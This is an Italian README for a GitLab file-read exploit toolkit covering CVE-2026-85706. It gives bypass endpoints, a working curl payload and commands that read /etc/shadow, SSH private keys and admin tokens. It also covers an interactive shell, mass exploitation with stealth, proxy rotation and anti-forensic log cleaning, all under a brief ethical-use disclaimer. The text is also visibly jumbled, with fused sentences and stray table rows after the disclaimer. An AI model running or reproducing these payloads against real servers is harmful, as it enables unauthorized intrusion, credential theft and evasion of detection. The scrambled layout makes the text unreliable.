
Toolkit Python per la lettura non autenticata di file in GitLab CVE-2026-85706: exploit weaponized con loot, shell, scansione di massa, più audit e reporting non intrusivi con SafeChecker.

⚠️ SOLO USO ETICO – TEST DI SICUREZZA AUTORIZZATI
Questo repository fornisce strumenti esclusivamente per professionisti della sicurezza autorizzati, blue team e penetration tester.
L'accesso non autorizzato a sistemi informatici è illegale ai sensi del CFAA (USA), Computer Misuse Act (Regno Unito), TCK 243/244 (Turchia) e leggi simili in tutto il mondo.
CVE‑2026‑85706 è una vulnerabilità critica di lettura arbitraria di file locali non autenticata in GitLab CE/EE self-managed (versioni dalla 18.7 alla 19.3.1) che consente a un attaccante non autenticato di leggere qualsiasi file sul server tramite una singola richiesta HTTP all'API dei commit.
%63ommits./api/v4/projects/{id}/repository/commits apre il file specificato in file.path prima che venga applicata l'autenticazione.%-sequence non valida, Rack restituisce il contenuto in un corpo 400 Bad Request, rivelando il contenuto completo.| Strumento | Scopo | Utente previsto |
|---|---|---|
exploit.py | Toolkit completo weaponized con lettura di file non autenticata, enumerazione del loot, estrazione di token admin, scansione di massa, shell interattiva, rotazione proxy, modalità stealth e reportistica multi-formato. | Red team / pentester autorizzati |
safechecker.py | Verificatore di vulnerabilità non intrusivo che rileva la versione di GitLab, convalida l'esposizione, verifica gli header di sicurezza e valuta il rischio senza leggere alcun file. Genera report JSON/CSV/HTML. | Blue team / auditor di sicurezza |
| Funzionalità | exploit.py | safechecker.py |
|---|---|---|
| Rilevamento della vulnerabilità | ✅ | ✅ |
| Rilevamento della versione | ✅ | ✅ |
| Lettura di file non autenticata | ✅ | ❌ |
| Enumerazione del loot | ✅ | ❌ |
| Estrazione di token admin | ✅ | ❌ |
| Shell interattiva | ✅ | ❌ |
| Scansione di massa (multi-thread) | ✅ | ✅ |
| Verifica degli header di sicurezza | ❌ | ✅ |
| Controllo TLS/certificato | ❌ | ✅ |
| Mappatura MITRE ATT&CK | ✅ | ✅ |
| Supporto proxy | ✅ | ✅ |
| Rotazione proxy | ✅ | ❌ |
| Rotazione User-Agent (OPSEC) | ✅ | ❌ |
| Jitter / delay (OPSEC) | ✅ | ❌ |
| Rate limiter adattivo | ✅ | ✅ |
| Modalità stealth | ✅ | ❌ |
| Impersonificazione TLS con curl_cffi | ✅ | ❌ |
| Modalità non intrusiva (sicura) | ❌ | ✅ |
| Output JSON / JSONL / CSV / HTML | ✅ | ✅ |
| Output su DB SQLite | ✅ | ❌ |
| Notifica webhook | ✅ | ✅ |
| Diff rispetto alla scansione precedente | ✅ | ✅ |
| Scenario | Strumento consigliato |
|---|---|
| Blue Team – verificare se il proprio GitLab è vulnerabile | safechecker.py |
| Audit di sicurezza – valutazione non intrusiva della vulnerabilità | safechecker.py |
| Red Team – penetration testing autorizzato con sfruttamento completo | exploit.py |
| Bug Bounty – test per la divulgazione responsabile | safechecker.py |
| Scansione di massa – verifica di più target per la vulnerabilità | exploit.py (solo rilevamento) |
| Incident Response – verificare se i sistemi sono compromessi | safechecker.py |
git clone https://github.com/tc4dy/CVE-2026-85706-PoC-Toolkit
cd CVE-2026-85706-PoC-Toolkit
pip install -r requirements.txt
requests
urllib3
curl_cffi
rich
pyyaml
exploit.py| Parametro | Descrizione |
|---|---|
-u, --url | URL di un singolo target (es. https://gitlab.example.com) |
-f, --file | File contenente l'elenco dei target (uno per riga) |
--pipe | Legge i target da stdin (pipeline subfinder/httpx) |
--read | Percorso/i assoluto/i da leggere, separati da virgola |
--wordlist | File con i percorsi da leggere (uno per riga) |
--project-id | Forza un ID di progetto specifico |
--max-projects | Numero massimo di ID di progetto da provare (predefinito: 8) |
--auto | Raccoglie automaticamente i file GitLab di alto valore |
--loot | Uguale a --auto |
--shell | Shell interattiva dopo lo sfruttamento |
--force | Esegue la scansione anche se il fingerprint di GitLab è debole |
-t, --threads | Thread per multi-target (predefinito: 8) |
--timeout | Timeout HTTP (predefinito: 15s) |
--retry | Numero di tentativi (predefinito: 3) |
--retry-on | Codici HTTP su cui ritentare (predefinito: 429,500,502,503,504) |
--proxy | Proxy HTTP/HTTPS |
--proxy-list | File con i proxy per la rotazione |
--proxy-rotate | Strategia di rotazione: round-robin, random, sticky |
--jitter | Aggiunge jitter casuale tra le richieste |
--jitter-range | Jitter min,max in secondi (predefinito: 0.1,2.0) |
--delay | Ritardo fisso tra le richieste |
--stealth |
safechecker.py| Parametro | Descrizione |
|---|---|
-u, --url | URL di un singolo target (es. https://gitlab.example.com) |
-f, --file | File con i target (uno per riga) |
-t, --threads | Thread per multi-target (predefinito: 5) |
--timeout | Timeout HTTP (predefinito: 10s) |
--rate-limit | Numero massimo di richieste al secondo (0 = illimitato) |
--user-agent | Stringa User-Agent personalizzata |
--insecure | Disabilita la verifica TLS (rischio MITM) |
--webhook | URL del webhook (slack:, discord:, telegram:) |
--diff | Confronta con il JSON della scansione precedente |
-v, --verbose | Output dettagliato |
-o, --output | File di output JSON |
--csv | File di output CSV |
--report | File di report HTML |
--mitre | Include la mappatura MITRE ATT&CK (predefinito: attivo) |
| # | Scenario | Comando |
|---|---|---|
| 1 | Verifica rapida della vulnerabilità | python safechecker.py -u https://gitlab.example.com |
| 2 | Audit dettagliato con report | python safechecker.py -u https://gitlab.example.com -o report.json --csv report.csv --report report.html -v |
| 3 | Audit di massa da file | python safechecker.py -f targets.txt -t 10 --rate-limit 5 |
| 4 | Exploit solo rilevamento | python exploit.py -u https://gitlab.example.com --safe-mode |
| 5 | Leggere un singolo file | python exploit.py -u https://gitlab.example.com --read /etc/passwd |
| 6 | Leggere più file | python exploit.py -u https://gitlab.example.com --read /etc/passwd,/etc/shadow,/root/.ssh/id_rsa |
| 7 | Raccolta automatica di file di alto valore | python exploit.py -u https://gitlab.example.com --auto |
| 8 | Shell interattiva | python exploit.py -u https://gitlab.example.com --shell |
| 9 | Exploit di massa con stealth | python exploit.py -f targets.txt -t 20 --stealth --jitter --auto -o hits.jsonl --output-format jsonl |
| 10 | Pipeline da subfinder | subfinder -d example.com -silent | httpx -silent -sc | python exploit.py --pipe --auto -o hits.jsonl |
| 11 | Attacco completo con output SIEM | python exploit.py -u https://gitlab.example.com --auto --grep "password|secret|token" --mitre --json-schema -o siem.json |
| 12 | Riprendere una scansione interrotta | python exploit.py -f targets.txt --auto --resume state.json |
| 13 | Confrontare due scansioni | python safechecker.py -f targets.txt -o new.json --diff previous.json |
L'exploit utilizza i seguenti endpoint di GitLab e tecniche di bypass:
| Passo | Metodo | Endpoint | Descrizione |
|---|---|---|---|
| 1. Bypass | POST | /api/v4/projects/{id}/repository/%63ommits | La c codificata aggira Workhorse |
| 2. Bypass | POST | /api/v4/projects/{id}/%72epository/commits | La r codificata in repository |
| 3. Bypass | POST | /api/v4/projects/{id}/repository/commits/ | Bypass con slash finale |
| 4. Bypass | POST | /api/v4/projects/{id}/repository/commits.json | Bypass con suffisso formato Grape |
| 5. Files API | POST | /api/v4/projects/{id}/repository/files/x | Rotta alternativa |
file=&file.path=/etc/passwd&file.size=1
curl -sk -X POST "https://gitlab.example.com/api/v4/projects/1/repository/%63ommits?file=&file.path=/etc/passwd&file.size=1&Content-Type=application/x-www-form-urlencoded"
Questo software è fornito solo a scopo didattico e per test di sicurezza autorizzati.
| Pulizia dei log (anti-forense) |
| ✅ |
| ❌ |
| User-Agent personalizzato | ✅ | ✅ |
| Controllo della verifica SSL | ✅ | ✅ |
| Abilita la modalità stealth (rotazione UA + X-Forwarded-For) |
--curl-cffi | Usa curl_cffi per l'impersonificazione del fingerprint TLS |
--user-agent-file | File con le stringhe User-Agent |
--max-body | Dimensione massima del corpo della risposta (0 = illimitata) |
--concurrent-per-host | Numero massimo di richieste concorrenti per host |
--rate-limit | Numero massimo di richieste al secondo (0 = illimitato) |
--exclude | Host da escludere separati da virgola (pattern glob) |
--grep | Mostra solo le fughe di dati che corrispondono alla regex |
--resume | Riprende dal file di stato |
--notify | URL di notifica (slack:, discord:, telegram:) |
--db | Salva i risultati in un database SQLite |
--output-format | Formato di output: json, jsonl, csv, html |
-o, --output | Percorso del file di output |
-v, --verbose | Output dettagliato |
-q, --quiet | Modalità silenziosa |
--no-color | Disabilita i colori |
--no-banner | Nessun banner |
--config | File di configurazione YAML/JSON |
--dry-run | Mostra il piano senza effettuare richieste |
--safe-mode | Legge solo /etc/hostname per verificare |
--timeout-profile | aggressive, normal, stealth |
--mitre | Include la mappatura MITRE ATT&CK |
--fingerprint | Fingerprint dettagliato di GitLab |
--cve-check | Verifica CVE correlate |
--json-schema | Output con schema JSON per SIEM |
--progress | Mostra la barra di avanzamento (richiede rich) |